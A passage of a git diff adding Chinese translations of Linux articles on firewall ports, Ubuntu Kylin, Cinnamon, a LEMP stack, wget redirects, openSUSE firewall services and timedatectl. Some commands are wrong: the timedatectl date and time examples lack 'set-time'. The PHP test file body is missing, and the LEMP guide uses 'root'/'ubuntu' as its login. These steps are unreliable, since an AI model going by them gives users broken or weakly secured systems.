+如果想要为任何已知的服务(如web服务器)修改防火墙,只需勾选该服务,然后关闭工具。如果想要开启任意一个TCP/UDP端口,选择“Forward”按钮,然后进入下一个界面。 + +![](https://farm4.staticflickr.com/3941/15604533696_12857827ea_z.jpg) + +选择“Add”按钮添加一条新规则。 + +![](https://farm4.staticflickr.com/3941/15008065383_4b92cbd843_z.jpg) + +指定一个端口(如80)或者端口范围(如3000-3030)和协议(如tcp或udp)。 + +![](https://farm4.staticflickr.com/3946/15007474154_bef75d8c72_z.jpg) + +最后,保存修改过的配置,关闭工具。这样,防火墙就永久保存了。 + +![](https://farm4.staticflickr.com/3942/15628237765_0299a638ab_z.jpg) + +-------------------------------------------------------------------------------- + +via: http://ask.xmodulo.com/open-port-firewall-centos-rhel.html + +译者:[KayGuoWhu](https://github.com/KayGuoWhu) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 \ No newline at end of file diff --git a/published/201411/20141030 Ubuntu Could Give a Fatal Blow to Windows in China.md b/published/201411/20141030 Ubuntu Could Give a Fatal Blow to Windows in China.md new file mode 100644 index 0000000000..1a56c4bc1b --- /dev/null +++ b/published/201411/20141030 Ubuntu Could Give a Fatal Blow to Windows in China.md @@ -0,0 +1,36 @@ +Ubuntu也许能在中国给Windows以致命打击 +================================================================================ +> Ubuntu Kylin也许能在中国用来替代Windows + +**Windows操作系统将退出中国的前门,而它的位置将由一个Linux发行版替代,用于官方和政府部门。问题是目前还没有一个真正的可替代系统,尽管还是有一款操作系统也许已经准备接下这个任务,它就是Ubuntu Kylin。** + +至少可以这么说,中国政府和微软目前的关系很紧张。[就像新闻里说的][1],一个用Linux类似系统在全国逐步替换Windows的计划已经在准备了。还不清楚具体会采用哪个系统,因为情况很复杂而且这是一个非常大的国家。 + +通常,这种问题没有一个普适的解决方案,而且中国的行动确实看起来有点呆板。不管怎样,这为Ubuntu Keylin打开了一扇巨大的机会之窗,它是一个基于Ubuntu由中国开发者和Canonical共同开发的发行版。它已经稳定一段时间了,而且已经发布了几个连续版本。 + +### Ubuntu Kylin在敲Windows的大门 ### + +有趣的是,在这个关于中国意图的新闻冒出来的同一天里,发布了一篇对国防科技大学(NUDT)副教授Dr. Jonas Zhang的采访,关于[最新的14.10分支开发计划][2]。 + +“在这次的14.10版本中,有许多很好的功能。比如,新手也可以轻松地通过Ubuntu Kylin软件中心找到Windows软件的替代;用户可以使用Ubuntu Kylin的SSO(Ubuntu Kylin的单一登录系统,我们叫它UKID)来登录到Ubuntu Kylin的软件和社区;Sogou输入法(一款世界知名的中文输入法,上个月已经在苹果的应用市场上线了)减少了40%的CPU和内存占用。” + +“来自CSIP(中国政府的一个部门),超过50个 Canonical 和 NUDT(国防科技大学)的项目经理、工程师和社区管理员在为 Ubuntu Kylin 工作。大部分全职工程师来自NUDT。许多来自Ubuntu,Debian和其他社区的开发者也参与到Ubuntu Kylin的开发中了。”Dr. Jonas Zhang[说][2]。 + +中国政府也许自己也正想办法搭建另一个Linux发行版(不是第一次尝试了),但是目前看来已经有一个很好的用来替代Windows的候选者了。这对于Canonical也是很好的商机,至少从被承认这个角度看。 + +如果Ubuntu,通过它和Kylin的联系,想在像中国这样的大国里取代Windows,对这家公司将会是个巨大的促进。让我们拭目以待,看看开发者们让Ubuntu Kylin变成一个有竞争力的操作系统所花费的努力是不是白费力气。 + +-------------------------------------------------------------------------------- + +via: http://news.softpedia.com/news/Ubuntu-Could-Give-a-Fatal-Blow-to-Windows-in-China-463500.shtml + +作者:[Silviu Stahie][a] +译者:[zpl1025](https://github.com/zpl1025) +校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://news.softpedia.com/editors/browse/silviu-stahie +[1]:http://news.softpedia.com/news/China-Starts-Windows-Eradication-15-of-Govt-PCs-to-Switch-to-Linux-Every-Year-463393.shtml +[2]:http://news.softpedia.com/news/Ubuntu-Kylin-14-10-Utopic-Unicorn-Consolidates-Its-Position-in-China-463068.shtml +[3]:https://insights.ubuntu.com/2014/10/29/interview-nudt-talks-ubuntu-kylin-and-its-14-10-release/ diff --git a/published/201411/20141104 Cinnamon 2.4 Debuts With New Features, Here's How To Install It In Ubuntu.md b/published/201411/20141104 Cinnamon 2.4 Debuts With New Features, Here's How To Install It In Ubuntu.md new file mode 100644 index 0000000000..df48101bba --- /dev/null +++ b/published/201411/20141104 Cinnamon 2.4 Debuts With New Features, Here's How To Install It In Ubuntu.md @@ -0,0 +1,72 @@ +Cinnamon 2.4 携新功能来袭 +================================================================================ +**上个周末,Linux Mint 为我们带来了新的气息,发布了 Cinnamon 桌面的一个新版本。** + +[ Linux Mint 发布了其新 LTS 版本的第一个更新 17.1 ][1],它的易用 shell 的最新版本将是该发行版的重中之重。 + +![New Wallpaper Slideshow Feature](http://www.omgubuntu.co.uk/wp-content/uploads/2014/11/wallpaper-sildeshow-applet.jpg) + +*新的墙纸幻灯片功能 * + +### Cinnamon 2.4 新特性 ### + +Cinnamon 2.4 带来了大量受欢迎的功能,包括改进了波兰语支持、降低内存占用,新的“隐私”和“提醒”设置和桌面墙纸幻灯片功能。 + +其[官方发布公告][2]里面主要提到了如下变化: + +- Cinnamon 桌面启动时带有缩放动画 +- 通过代码审核修复了30个内存泄露问题 +- 使用‘Super+e’ 可以打开“home”文件夹 +- 桌面字体现在可以定制了 +- 去除了“退出对话框”的超时设置 +- 重新设计了“主题与背景”设置 +- 支持桌面幻灯片功能(增加了一个新的面板小应用来控制它) +- 增加了“提醒与隐私”设置面板 + +![Some say Nemo is the best file manager for Linux](http://www.omgubuntu.co.uk/wp-content/uploads/2014/11/nemo-file-manager-24-750x368.jpg) + +*有些人说 Nemo 是 Linux 上最好的文件管理器* + +Nemo 文件管理器也做了如下改进: + +- 重新设计了工具条 +- ‘nemo-emblems‘扩展支持为文件夹增加标志(emblems) +- 边栏在鼠标移动上去时会有高亮效果 +- “智能动态书签区”放到边栏 +- 文件夹的颜色可以通过 nemo-folder-color-switcher 快速设置(还没有发布) + +### 在 Ubuntu 中升级或安装 Cinnamon 2.4 ### + +如果**你更在意稳定的话**就不要升级到 Cinnamon 2.4。新的 Cinnamon 在 Linux Mint 发布前一个月才释出,主要是为了测试、解决 bug 和搜集反馈。 + +不过要是你不在意的话,你可以使用如下的每夜构建 PPA 在 Ubuntu 14.04 LTS 和 Ubuntu 14.10 中安装Cinnamon 2.4: + + sudo add-apt-repository ppa:gwendal-lebihan-dev/cinnamon-nightly + +然后: + + sudo apt-get update && sudo apt-get install cinnamon + +如果你已经安装了(旧版本的) Cinnamon,我建议你运行下列命令来替代上面的安装命令。这会自动通过包管理器解决冲突的包依赖关系: + + sudo apt-get update && sudo apt-get dist-upgrade + +安装后如果不喜欢了,那也很容易,你可以使用如下命令将 Cinnamon 2.4 和它的一大堆配置统统移走: + + sudo apt-get purge cinnamon + +**如果你体验过了,请让我们知道你的意见,反馈到下面,最好带上一两张截屏!** + +-------------------------------------------------------------------------------- + +via: http://www.omgubuntu.co.uk/2014/11/install-cinnamon-2-4-ubuntu-14-04-lts + +作者:[Joey-Elijah Sneddon][a] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:https://plus.google.com/117485690627814051450/?rel=author +[1]:http://blog.linuxmint.com/?p=2688 +[2]:http://segfault.linuxmint.com/2014/11/cinnamon-2-4/ diff --git a/published/201411/20141104 Install LEMP Server (Nginx, MySQL or MariaDB, PHP And phpMyAdmin) On Ubuntu 14.10 or 14.04 or 13.10.md b/published/201411/20141104 Install LEMP Server (Nginx, MySQL or MariaDB, PHP And phpMyAdmin) On Ubuntu 14.10 or 14.04 or 13.10.md new file mode 100644 index 0000000000..f30b5f7dfa --- /dev/null +++ b/published/201411/20141104 Install LEMP Server (Nginx, MySQL or MariaDB, PHP And phpMyAdmin) On Ubuntu 14.10 or 14.04 or 13.10.md @@ -0,0 +1,351 @@ +在 Ubuntu 14.10/14.04/13.10 上安装 LEMP 服务(Nginx,MySQL 或 MariaDB,PHP 和 phpMyAdmin) +================================================================================ + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/06/lemp.jpg) + +**LEMP**是一个操作系统和几个开源软件包的合称。缩写LEMP来自 **L** inux,Nginx(发音是 **e** ngine-x)HTTP服务器, **M** ySQL数据库,和 **P** HP/ **P** erl/ **P** ython的首字母。 + +在这篇教程里,让我们看一下如何在 Ubuntu 14.10 上安装 Nginx,MySQL 或 MariaDB,PHP 和 phpMyAdmin。 + +### 安装Nginx ### + +**Nginx** (发音是engine-x)是一个免费的、开源的、高性能HTTP服务器和反向代理,也可以用作IMAP/POP3代理服务器,它是由Igor Sysoev开发。 + +要安装Nginx,在你的终端里输入下面的命令: + +**注意**:如果你的系统里已经安装了apache2,先卸载掉以避免冲突。要卸载apache,运行下面的命令: + + sudo apt-get purge apache2* + sudo apt-get autoremove -y + +现在,用下面的命令安装nginx: + + sudo apt-get install nginx + +用下面的命令启用Nginx服务: + + sudo service nginx start + +### 测试 nginx ### + +打开你的浏览器访问http://IP地址/或者http://localhost/。将可以看到类似下面的截图。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/10/Welcome-to-nginx-Mozilla-Firefox_005.png) + +### 配置 Nginx ### + +用任意文本编辑器打开文件**/etc/nginx/nginx.conf** + + sudo nano /etc/nginx/nginx.conf + +设置 worker_processes(例如,你系统里CPU数目)。查看CPU数目,可以使用命令“lscpu”。在我这里是“1”。所以我把这个值设为1。 + + worker_processes 1; + +重启 Nginx 服务: + + sudo service nginx restart + +默认虚拟主机(服务器模块)定义在文件**/etc/nginx/sites-available/default**里。 + +用任意文本编辑器打开文件/etc/nginx/sites-available/default。 + + sudo nano /etc/nginx/sites-available/default + +在Server区域里,按如下设置服务器FQDN或IP地址。确保你增加了index.php这一行。 + + [...] + server { + listen 80 default_server; + listen [::]:80 default_server ipv6only=on; + root /usr/share/nginx/html; + index index.php index.html index.htm; + # Make site accessible from http://localhost/ + server_name server.unixmen.local; + [...] + +这里面 + +- **listen 80;** –> 监听ipv4端口 +- **listen [::]:80 default_server ipv6only=on;** –> 监听ipv6宽口 +- **root /usr/share/nginx/html;** –> 文件根目录 +- **server_name server.unixmen.local;** –> 服务器FQDN + +现在,向下滚动找到区域#location **~ \.php$**。去掉注释并按如下修改: + + location ~ \.php$ { + try_files $uri =404; ---------> Add this line + fastcgi_split_path_info ^(.+\.php)(/.+)$; + # # NOTE: You should have "cgi.fix_pathinfo = 0;" in php.ini + # + # # With php5-cgi alone: + # fastcgi_pass 127.0.0.1:9000; + # # With php5-fpm: + fastcgi_pass unix:/var/run/php5-fpm.sock; + fastcgi_index index.php; + include fastcgi.conf; + } + +这里面,我增加了额外一行**‘try_files $uri =404;’**用于避免0day漏洞。 + +保存文件并退出。 + +### 测试 nginx 配置 ### + +使用下面的命令测试nginx配置是否存在语法错误: + + sudo nginx -t + +典型输出: + + nginx: the configuration file /etc/nginx/nginx.conf syntax is ok + nginx: configuration file /etc/nginx/nginx.conf test is successful + +最后重启nginx服务 + + sudo service nginx restart + +### 安装 MySQL ### + +**MySQL**是一个关系型数据库管理系统(RDBMS),作为服务启动提供给多用户访问多种数据库,尽管SQLite可能有更多的嵌入式部署。 + + sudo apt-get install mysql-server mysql-client + +在安装过程中,会提示你设置MySQL超级用户密码。输入密码并按确认。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/06/sk@server-_001.png) + +重新输入密码。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/06/sk@server-_0021.png) + +现在,MySQL服务器就安装好了。 + +你可以用下面的命令检查 MySQL 服务器状态: + + sudo service mysql status + +典型输出: + + mysql start/running, process 5671 + +**注意**:如果你希望使用MariaDB而不是MySQL,可以参考下面的步骤。 + +### 安装 MariaDB ### + +**MariaDB**是 MySQL 的一个直接替代软件。它是一个稳定、可扩展又可靠的SQL服务器,包含许多增强功能。 + +首先,如果有的话你得先卸载掉 MySQL。要完全卸载 MySQL 包括配置文件,输入如下命令: + + sudo apt-get purge mysql* + +运行如下命令清除不需要的软件包。 + + sudo apt-get autoremove + +在卸载完MySQL后,运行如下命令安装MariaDB。 + + sudo apt-get install mariadb-server mariadb-client + +另外,如果你希望体验最新版的MariaDB,可以从[MariaDB仓库][1]安装。运行下面的命令添加PPA。在写这篇文章的时候,MariaDB PPA还没有更新 Ubuntu 14.10。不过,我们还是可以使用 Ubuntu 14.04 的仓库来替代。 + + sudo apt-get install software-properties-common + sudo apt-key adv --recv-keys --keyserver hkp://keyserver.ubuntu.com:80 0xcbcb082a1bb943db + sudo add-apt-repository 'deb http://sgp1.mirrors.digitalocean.com/mariadb/repo/5.5/ubuntu trusty main' + +用如下命令更新一下软件源列表,然后安装MariaDB: + + sudo apt-get update + sudo apt-get install mariadb-server mariadb-client -y + +在安装过程中,会提示你设置数据库‘root’用户密码。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/06/sk@server-_0031.png) + +重新输入一次密码: + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/06/sk@server-_004.png) + +点击‘是’迁移到 MariaDB。注意一下,如果在安装MariaDB之前没有装过 MySQL 的话,不会提示你这个问题。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/06/sk@server-_005.png) + +你可以用如下命令检查 MariaDB 版本: + + sudo mysql -v -u root -p + +典型输出: + + Welcome to the MariaDB monitor. Commands end with ; or \g. + Your MariaDB connection id is 34 + Server version: 5.5.39-MariaDB-2 (Ubuntu) + + Copyright (c) 2000, 2014, Oracle, Monty Program Ab and others. + + Reading history-file /home/sk/.mysql_history + Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. + +用如下命令检查MariaDB是否已经开始运行: + + sudo service mysql status + +典型输出: + + * /usr/bin/mysqladmin Ver 9.0 Distrib 5.5.39-MariaDB, for debian-linux-gnu on x86_64 + Copyright (c) 2000, 2014, Oracle, Monty Program Ab and others. + + Server version 5.5.39-MariaDB-2 + Protocol version 10 + Connection Localhost via UNIX socket + UNIX socket /var/run/mysqld/mysqld.sock + Uptime: 2 min 21 sec + + Threads: 1 Questions: 566 Slow queries: 0 Opens: 330 Flush tables: 4 Open tables: 22 Queries per second avg: 4.014 + +### 安装 PHP ### + +**PHP**(PHP: Hypertext Preprocessor的递归缩写)是一个应用广泛的开源通用脚本语言,特别适合于网页开发,可以直接嵌入到 HTML 中。 + +使用如下命令安装PHP: + + sudo apt-get install php5 php5-fpm php5-mysql + +### 配置PHP ### + +用任意文本编辑器打开**php.ini**文件: + + sudo nano /etc/php5/fpm/php.ini + +找到这一行‘cgi.fix_pathinfo=1′,去掉注释并把值1改为0。 + + cgi.fix_pathinfo=0 + +现在重启php-fpm服务。 + + sudo service php5-fpm restart + +### 测试 PHP ### + +在nginx文档根目录下创建一个测试文件“testphp.php”。 + + sudo nano /usr/share/nginx/html/testphp.php + +加入下面几行。 + + + +保存文件并退出。 + +访问地址**http://server-ip-address/testphp.php**。将显示出所有关于 php 的信息,比如版本、构建日期以及命令等等。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/10/phpinfo-Mozilla-Firefox_0012.png) + +PHP-FPM会默认监听套接字**/var/run/php5-fpm.sock**。如果你希望PHP-FPM使用TCP连接,打开文件**/etc/php5/fpm/pool.d/www.conf**, + + sudo nano /etc/php5/fpm/pool.d/www.conf + +找到这一行listen = /var/run/php5-fpm.sock, + + ;listen = /var/run/php5-fpm.sock + +把它改成**listen = 127.0.0.1:9000**。 + + listen = 127.0.0.1:9000 + +保存退出。重启 php5-fpm 服务。 + + sudo service php5-fpm restart + +现在打开 nginx 配置文件: + + sudo nano /etc/nginx/sites-available/default + +找到这一行**fastcgi_pass unix:/var/run/php5-fpm.sock;**,参考下面把它改成 fastcgi_pass 127.0.0.1:9000;。 + + location ~ \.php$ { + try_files $uri =404; + fastcgi_split_path_info ^(.+\.php)(/.+)$;fastcgi_pass 127.0.0.1:9000; + # # NOTE: You should have "cgi.fix_pathinfo = 0;" in php.ini + # + # # With php5-cgi alone: + fastcgi_pass 127.0.0.1:9000; + # # With php5-fpm: + # fastcgi_pass unix:/var/run/php5-fpm.sock; + fastcgi_index index.php; + include fastcgi.conf; + } + +保存退出。最后重启 nginx 服务。 + + sudo service nginx restart + +### 使用 phpMyAdmin 管理 MySQL 数据库(可选) ### + +**phpMyAdmin**是一个免费的开源网页界面工具,用来管理你的 MySQL 数据库。 + +### 安装 phpMyAdmin ### + +在 Debian 官方仓库里就有。所以可以用下面的命令安装: + + sudo apt-get install phpmyadmin + +选择一个网页服务器。默认情况下,这里不会显示 nginx。所以,选择 apache 或者 lighttpd,然后我们再把 phpMyAdmin 和 nginx 连接起来工作。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/06/sk@server-_007.png) + +选择‘是’通过dbconfig-common为phpMyAdmin配置数据库。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/06/sk@server-_008.png) + +输入数据库的管理员账号密码。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/06/sk@server-_009.png) + +输入 phpmyadmin 帐号的 MySQL 密码: + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/06/sk@server-_010.png) + +重新输入一次密码。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/06/sk@server-_011.png) + +phpMyAdmin 就安装完成了。 + +创建一个 phpMyAdmin 的软连接到网站根目录。这里我们的网站根文档目录是/usr/share/nginx/html/。 + + sudo ln -s /usr/share/phpmyadmin/ /usr/share/nginx/html + +重启 nginx 服务。 + + sudo service nginx restart + +### 访问 phpMyAdmin 网页控制台 ### + +现在你可以在浏览器中通过地址**http://server-ip-address/phpmyadmin/**访问 phpMyAdmin 的控制台了。 + +输入你在前面步骤里留下的 MySQL 用户名和密码。在我这里是“root”和“ubuntu”。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/10/phpMyAdmin-Mozilla-Firefox_0021.png) + +就可以重定向到 phpMyAdmin 的网页管理首页。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/10/192.168.1.100-localhost-phpMyAdmin-4.2.6deb1-Mozilla-Firefox_0031.png) + +现在你就可以在 phpMyAdmin 网页里管理你的 MyQL 数据库了。 + +就这样。你的 LEMP 服务器已经配置完毕,可以使用了。 + +-------------------------------------------------------------------------------- + +via: http://www.unixmen.com/install-lemp-server-nginx-mysql-mariadb-php-phpmyadmin-ubuntu-14-1014-0413-10/ + +作者:[SK][a] +译者:[zpl1025](https://github.com/zpl1025) +校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.unixmen.com/author/sk/ +[1]:https://downloads.mariadb.org/mariadb/repositories/#mirror=tsinghua diff --git a/published/201411/20141104 Mozilla to Launch Brand New Developer Web Browser Next Week.md b/published/201411/20141104 Mozilla to Launch Brand New Developer Web Browser Next Week.md new file mode 100644 index 0000000000..5779aecdb1 --- /dev/null +++ b/published/201411/20141104 Mozilla to Launch Brand New Developer Web Browser Next Week.md @@ -0,0 +1,42 @@ +Mozilla 下周发布全新的开发者浏览器 +================================================================================ +**当你早晨醒来的时候,你可能没有期望在网上看到‘Mozilla’、‘新的’,‘浏览器’这样的词。** + +但是我手上的正是你要找的。 + + +注:youtube 视频地址,发布的时候不行做个链接吧 + + +### Mozilla – 推动前沿 ### + +Mozilla一直处于推动开源,开放标准和开放访问的最前沿。他们引导了世界上最流行的桌面浏览器之一。他们的开源的基于Linux的移动操作系统[在24个国家的13个运营商的12款手机上出售][1]。他们[甚至可以在谷歌的Chromecast上运行][2]! + +他们将 Web 推广到每个角落的追求依然旺盛。在Mozilla博客上发布的一篇文章传达了公司宣布在推动前沿上的努力- 这次是针对开发者而不是用户而言的。 + +这被打趣为“独特但又熟悉”,公司打算发布基于Firefox、由开发人员设计、针对开发人员提供的全新的浏览器。 Mozilla说它集成了“像[WebIDE][3]和[Firefox工具适配器][4]这样强大的新工具。 + +>“在构建Web时,开发人员倾向于使用不同的工具,但这往往不能很好地协同工作。这意味着你不用在不同的工具、平台和浏览器等这些会减缓你开发效率的工作中切换了 + +### #Fx10 ### + +“Firefox开发者”版声称会在11.10发布。 现在还不知道它支持的平台,但是第一它是Mozilla推出的,第二针对的是开发者,所以如果在那天没有Linux版本的话将会是一件很意外的事情。 + +Mozilla说感兴趣的人可以注册他们的[黑客简讯][5]来在浏览器发布的时候收到通知。 + +-------------------------------------------------------------------------------- + +via: http://www.omgubuntu.co.uk/2014/11/mozilla-launch-brand-new-developer-focused-web-browser + +作者:[Joey-Elijah Sneddon ][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:https://plus.google.com/117485690627814051450/?rel=author +[1]:https://twitter.com/firefox/status/522175938952716289 +[2]:http://www.omgchrome.com/mozillas-chromecast-rival-leaks-online/ +[3]:https://hacks.mozilla.org/2014/06/webide-lands-in-nightly/ +[4]:https://hacks.mozilla.org/2014/09/firefox-tools-adapter/ +[5]:https://hacks.mozilla.org/newsletter/ \ No newline at end of file diff --git a/published/201411/20141105 Linux FAQs with Answers--How to disable HTTP redirect in wget.md b/published/201411/20141105 Linux FAQs with Answers--How to disable HTTP redirect in wget.md new file mode 100644 index 0000000000..fd7d239d6b --- /dev/null +++ b/published/201411/20141105 Linux FAQs with Answers--How to disable HTTP redirect in wget.md @@ -0,0 +1,33 @@ +Linux 有问必答:如何在wget中禁用HTTP转发 +================================================================================ +> **提问**: 当我用wget获取一个重定向到URL Y的URL X的时候,wget默认会自动获取URL Y。然而我想要强制获取不带重定向的URL X。我该如何禁用wget重定向URL的功能。 + +在HTTP标准中,重定向响应(带3XX的HTTP响应)说明请求的URL被移到了新的位置。重定向相应接着包含了目标重定向的URL。 + +像常规的HTTP客户端,wget支持URL重定向(也叫URL转发),意味着当你尝试下载一个重定向的URL时,wget会自动跟随URL重定向获取重定向后的资源。如果你由于一些原因想要禁用URL重定向,并停止3XX的状态码,你可以使用wget的“--max-redirect=number”选项。这个选项用来指定最大(递归)重定向的数字,默认是20。 + +如果你想要禁用wget中的HTTP重定向,使用“--max-redirect=0” + + $ wget --max-redirect=0 http://www.aaa.com/a.html + +---------- + + --2014-10-31 23:08:58-- http://www.aaa.com/a.html + Resolving aaa.com (aaa.com)... 1.2.3.4 + Connecting to aaa.com (aaa.com)|1.2.3.4|:80... connected. + HTTP request sent, awaiting response... 301 Moved Permanently + Location: http://www.bbb.com/b.html [following] + 0 redirections exceeded. + +如你所见,当wget遇到HTTP重定向响应时,它不会跟着重定向,并以“0 redirections exceeded”(超出0次重定向)的错误信息停止。它同样会显示一个HTTP的状态码(比如301)。 + +注意一下curl,另外一个类似的HTTP客户端,行为正好相反。默认上,curl并不会跟随URL重定向。要强制使cutl重定向到一个URL,你要使用“-L”选项。 + +-------------------------------------------------------------------------------- + +via: http://ask.xmodulo.com/disable-http-redirect-wget.html + +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 \ No newline at end of file diff --git a/published/201411/20141105 The Latest Ubuntu Images Arrive on Google Cloud Platform.md b/published/201411/20141105 The Latest Ubuntu Images Arrive on Google Cloud Platform.md new file mode 100644 index 0000000000..ae09f3adc3 --- /dev/null +++ b/published/201411/20141105 The Latest Ubuntu Images Arrive on Google Cloud Platform.md @@ -0,0 +1,30 @@ +最新版本的 Ubuntu 在 Google 云平台上架 +================================================================================ +![](http://ostatic.com/files/images/ubuntu_image_5.png) + +自从Canonical和Google合作后,Canonical宣布已经在Google云平台发布Ubuntu14.04LTS、12.04LTS和14.10的公开beta版本。“从今天起,可以在Google云平台上选择优化过的、最新的、十分安全和一致的Ubuntu镜像”Canonical的公告称,“Canonical将会继续地维护、测试和更新认证的Ubuntu镜像,在官方版本发布后,Google云平台马上就会拥有最新版本”。 + +Ubuntu 在云环境和作为云分发基础中已经日益流行,因此为Google云平台提供镜像可以吸引更多的用户。 + +对于所有Ubuntu LTS版本,Canonical会为之提供维护和安全更新5年的版本,这些会吸引更多的Canonical已经日益重视的企业级用户。 + +领先的开源云管理平台Scalr的创始人Sebastian Stadil说道:“官方Ubuntu镜像的缺乏已经阻止我们部分迁移我们的基础设施到Google云平台,我们很高兴看到Ubuntu技术提供给我们所有企业客户。” + +认证公有云(CPC) 的项目经理Federico Lucifredi 提到:“越来越多的企业开始创业,从而转向公有云环境来运行大量的关键的向外扩展的工作负载,Google作为全球领先的竞争者之一,Google 云平台已经快速建成。给Google云平台增加Ubuntu镜像是顺理成章的一步,我们确信这样的合作在开发者和企业部署云时,便于寻找到一个易于使用和信赖的操作系统。” + +通过Canonical得知,在作为所有公有云的操作系统选择上,Ubuntu事实上已经有显著业绩,70%的工作负载运行在Ubuntu上。据OpenStack基金会消息,Ubuntu已经是OpenStack部署的基础。 + +浏览[Google Cloud Platform][1]获得更多信息。 + +-------------------------------------------------------------------------------- + +via: http://ostatic.com/blog/the-latest-ubuntu-images-arrive-on-google-cloud-platform + +作者:[Sam Dean][a] +译者:[Vic020/VicYu](http://www.vicyu.net) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://ostatic.com/member/samdean +[1]:https://cloud.google.com/compute/docs/operating-systems diff --git a/published/201411/20141106 Quick Tip Allow Services Through Firewall In openSUSE.md b/published/201411/20141106 Quick Tip Allow Services Through Firewall In openSUSE.md new file mode 100644 index 0000000000..f540639934 --- /dev/null +++ b/published/201411/20141106 Quick Tip Allow Services Through Firewall In openSUSE.md @@ -0,0 +1,31 @@ +小白技巧:openSUSE设置服务服务通过防火墙 +================================================================================ +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/11/openSUSE.png) + +正如你所知道的,在openSUSE/SUSE系统上,不是所有的服务是激活并且默认允许的。例如,**ssh**服务是默认不允许通过防火墙的。当然,这是一个安全措施,但是有时我们必须需要ssh服务从远程地点来连接服务器。 + +这个小教程将会展示如何允许服务,不单是ssh,也包括所有其他的服务,如http,ftp等,通过服务器。我们可以使用**YaST**命令允许服务通过防火墙,**YaST**命令是openSUSE和其企业版,默认安装配置工具。 + +首先,在菜单中打开YaST控制中心。选择**Security and Users(安全和用户) -> Firewall(防火墙)** + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/11/openSUSE-13.1-Running-Oracle-VM-VirtualBox_001.png) + +接下来,打开**Allowed Services(已允许服务)**选项卡;从Service to Allow(选择需要允许的服务)下拉框中选择**Secure Shell Service(ssh服务)**,然后 **Add(增加)**,**Next(下一步)**,最后**Finish(完成)**,搞定。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/11/openSUSE-13.1-Running-Oracle-VM-VirtualBox_002.png) + +就是如此简单!ssh服务已经允许通过防火墙,这样你就可以在远程系统连接这个系统了。就像这样,我们可以同样设置其他服务。 + +鼓掌!! + +-------------------------------------------------------------------------------- + +via: http://www.unixmen.com/quick-tip-allow-services-firewall-opensuse/ + +作者:[SK][a] +译者:[VicYu/Vic020](http://www.vicyu.net) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.unixmen.com/author/sk/ diff --git a/published/201411/20141106 timedatectl--Control Linux System Time and Date in Systemd.md b/published/201411/20141106 timedatectl--Control Linux System Time and Date in Systemd.md new file mode 100644 index 0000000000..e3e4b1b6a3 --- /dev/null +++ b/published/201411/20141106 timedatectl--Control Linux System Time and Date in Systemd.md @@ -0,0 +1,72 @@ +如何在 systemd 下管理Linux系统的时间和日期 +=== + +**timedatectl**是用来查询和修改系统时间和配置的Linux应用程序。它是[systemd 系统服务管理][1]的一部分,并且允许你检查和修改系统时钟的配置。 + +在这篇文章中,我们将涉及该小巧但十分重要应用程序的所有方面 + +### 系统当前的时间状态 ### + +想要查看系统当前日期/时间,以及可使用不带任何参数的命令查看当前系统时间配置,可以这样: + + # timedatectl + +输入的结果就像这样: + +![](http://blog.linoxide.com/wp-content/uploads/2014/10/timedatectl.jpg) + +### 修改日期 ### + +想要修改系统日期,你可以简单地使用timedatectl设置时间命令,紧随命令的是YYYY-MM-DD格式的日期,YYYY代表年,MM代表2位数字的月份,DD代表2位数字的天。举个例子,如果你想把日期改为2015年2月4号,你应该使用下面的命令: + + # timedatectl 2015-02-04 + +### 修改时间 ### + +想要修改时间,你可以以相同的方式使用该工具,但是使用的格式为HH:MM:SS,HH代表24小时制的时钟,MM代表分钟,SS代表秒钟。想将当前时间设为22:04:43,使用下面的命令: + + # timedatectl 22:04:43 + +### 修改时区 ### + +设置正确的时区是保持时间同步的关键,特别是在你使用NTP协议同步的时候。首先,你应该使用list-timezones选项列出你所在区域的可用时区,你也可以使用grep和more来让格式方便阅读: + + # timedatectl list-timezones | grep America | more + +这将显示一个简单的滚动列表格式。 + +之后,你就会知道你想设置的时区是如何命名的,然后使用下面的命令修改它: + + # timedatectl set-timezone America/Los_Angeles + +### 设置本地时钟 ### + 